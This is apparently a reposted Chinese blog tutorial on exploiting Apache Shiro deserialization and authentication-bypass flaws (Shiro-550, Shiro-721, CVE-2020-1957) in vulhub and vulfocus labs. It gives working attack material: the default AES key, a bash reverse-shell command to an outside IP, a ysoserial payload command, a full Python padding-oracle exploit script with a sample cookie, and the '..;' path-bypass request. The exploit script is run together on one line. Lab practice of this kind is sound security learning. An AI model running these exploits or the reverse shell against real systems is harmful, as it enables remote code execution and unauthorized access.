赞
踩
Apache
Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性,可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的
Web 和企业应用程序。
shiro框架在登录时,如果勾选了RememberMe的功能,关闭浏览器再次访问时便无需再次登录,此时cookie中会增加一个rememberMe字段,其
value 的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:
检索RememberMe Cookie的值
进行Base64解码
进行AES解码
进行反序列化操作
由于在第4步中的调用反序列化时未进行任何过滤,导致可以触发Java反序列化漏洞,进而在目标机器上执行任意命令。
由于使用了AES加密,利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为
kPH+bIxk5D2deZiIxcaaaA==
,于是就可得到Payload的构造流程:
恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie
目前官方通过去掉硬编码的密钥每次生成一个密钥来解决其漏洞,但可以通过搜索引擎等方式收集到不同的密钥,提高对该漏洞的利用成功率。
使用 vulhub 搭建环境,路径:
vulhub/shiro/CVE-2016-4437
启动容器:
docker-compose up -d
访问 ip:8080
进入环境:
随便输入账号密码,勾选上 Remember me,抓包
可以看到响应包中出现了字段 set-Cookie: rememberMe=deleteMe
,证明该系统使用了Shiro框架。
这里介绍两种检测 shiro 漏洞是否存在的工具。
下载链接 提取码:j43f
按照上面的流程安装好插件后,当 Burp 抓到Shiro的数据包时会自动进行检测,当发现存在Shiro默认key时会告警。
当目标系统存在漏洞时,检测结果如下图所示:
还是使用上面的工具,爆破出利用链
可以执行命令,来反弹个shell
bash -c 'exec bash -i &>/dev/tcp/192.168.50.131/7777 <&1'
和上面的 shiro550 差不多,只是 shiro721 用到的加密方式是 AES-CBC 加密,其中 AES 加密的 key
基本猜不到了,是系统随机生成的。但是这种加密模式可以通过 Padding Oracle Attack( Oracle 填充攻击 ),攻击者可以使用有效的
RememberMe Cookie 作为 Paddding Oracle Attack 的前缀,然后精心构造 RememberMe Cookie
来实施反序列化攻击。
这里的Oracle不是那个数据库,而是一种通过接收特定加密数据 , 解密并验证填充是否正确的方式。
攻击流程:
必要条件:合法的RememberMe Cookie(需认证一次)
使用 vulfocus 靶场的 shiro-721
1、先使用正确的账号密码登录后,在抓包获取合法 Cookie(勾选Remember Me),:
认证失败则只能得到 rememberMe=deleteMe
2、使用Java反序列化工具 ysoserial 生成 Payload:
java -jar ysoserial.jar CommonsBeanutils1 "ping dkngnv.dnslog.cn" > payload.class
ysoserial使用 :
下载源文件之后,通过maven编译生成jar包
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
会在target目录下生成ysoserial-0.0.6-SNAPSHOT-all.jar
或者可以直接下载最新的jar包,[下载链接](https://jitpack.io/com/github/frohoff/ysoserial/master-
SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
3、通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
Exp:
#https://github.com/3ndz/Shiro-721 # -*- coding: utf-8 -*- from paddingoracle import BadPaddingException, PaddingOracle from base64 import b64encode, b64decode from urllib import quote, unquote import requests import socket import time class PadBuster(PaddingOracle): def __init__(self, **kwargs): super(PadBuster, self).__init__(**kwargs) self.session = requests.Session() self.wait = kwargs.get('wait', 2.0) def oracle(self, data, **kwargs): somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data) self.session.cookies['rememberMe'] = somecookie if self.session.cookies.get('JSESSIONID'): del self.session.cookies['JSESSIONID'] while 1: try: response = self.session.get(sys.argv[1], stream=False, timeout=5, verify=False) break except (socket.error, requests.exceptions.RequestException): logging.exception('Retrying request in %.2f seconds...', self.wait) time.sleep(self.wait) continue self.history.append(response) if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'): logging.debug('No padding exception raised on %r', somecookie) return raise BadPaddingException if __name__ == '__main__': import logging import sys if not sys.argv[3:]: print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], ) sys.exit(1) logging.basicConfig(level=logging.DEBUG) encrypted_cookie = b64decode(unquote(sys.argv[2])) padbuster = PadBuster() payload = open(sys.argv[3], 'rb').read() enc = padbuster.encrypt(plaintext=payload, block_size=16) print('rememberMe cookies:') print(b64encode(enc)) shiro_exp.py <url> <cookie value> <payload> shiro_exp.py http://192.168.50.131:19013 SmfNcW9cXyL6gTts601iAULOw75rLeYT8dPtoZvIksPZg3bzUnsBTQSDAyFCptI6M8TQBoFPARAIC62r+FLv8I2Ap4GxwwWjCaVgRyVqUdDLQjYbXw8Um36CpAsy2nLzm0+u71k41588fAK9Ql7+3QU2BRYDKkLpl/iXwCZIsq9I3Vnrhoylt238vEUu0OzX+mGRyqMhms1rE4Jk4ZjSZoc8wRqnS0tT8FlqYSiHFQSsMiacxJqZ7iRYOblRG8pMJRWDqCUKJPY84Zx3O/l53gZ0YAPnuplS+3vD+I334zh5aNHgZuMSCv/0ekRhqEAFr1JwS1kd8hSCvTnkKgkjwY0uymox/9Oc6LlicXjS/arg/1/79wWR7qTjKCJpgENpt7oEhnPcLtmuLRguiiuPRXsUfFV+6ORJmX+ejd9Zx1KweCMD+3gz/LGQ76tifjv3wXembJJjdLPhi9g3lOsBcFlypkuUOrghMXvAHvzfHYu39ip/w9PCUdRkD3lbCOAj payload.class
此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success,
etc),约 3个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。
4、使用Evil Rememberme cookie 认证进行反序列化攻击:
接收到记录,同理也可以执行其它系统命令。
shiro721 也可以使用上面的工具,而且速度非常快。
在 Apache Shiro 1.5.2
以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;
这样的跳转,可以绕过Shiro中对目录的权限限制。
Shiro框架使用拦截器对用户访问权限进行控制,常见的有如anon、authc等拦截器。
URL路径表达式通常为ANT格式。这个应用中对URL权限的配置如下:
@Bean public ShiroFilterChainDefinition shiroFilterChainDefinition() { DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition(); chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form chainDefinition.addPathDefinition("/logout", "logout"); chainDefinition.addPathDefinition("/admin/**", "authc"); return chainDefinition; } Ant格式:? 匹配一个字符 * 匹配零个或多个字符串 ** 匹配路径中的零个或多个路径 /**可以匹配路径,即可以匹配到/user/test/,而/*只能匹配到单个或多个字符串,即/user/test。
shiro会以分号将传入的URI进行截断,并将分号以及分号后面的数据进行清空,返回分号前面的URI数据,从而让/a/b;/c
变为/a/b
Spring对于分号的处理方式与Shiro不同,Spring会先获取分号的位置,并检测分号后是否存在/,如果有,将/的位置记录在slashIndex变量中,并将分号前的数据与/之后的数据进行拼接,从而让/a/b;/c
变为/a/b/c
。返回处理后的requestURI。
由于Spring与Shiro的decodeAndCleanUriString方法不同,攻击者可以使用分号构造路径,绕过Shiro认证,并可以匹配Spring的动态控制器。
即URL请求过程:
客户端请求URL: /xxx/..;/admin/
Shrio内部处理得到校验URL为 /xxx/..
,校验通过。
SpringBoot 处理 /xxx/..;/admin/
,最终请求 /admin/
,成功访问了后台请求。
靶场路径:
vulhub/shiro/CVE-2020-1957
启动容器:
docker-compose up -d
访问 /admin/ 目录
回显302跳转,构造恶意请求 /xxx/..;/admin/
成功绕过。
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里 本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/570385
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。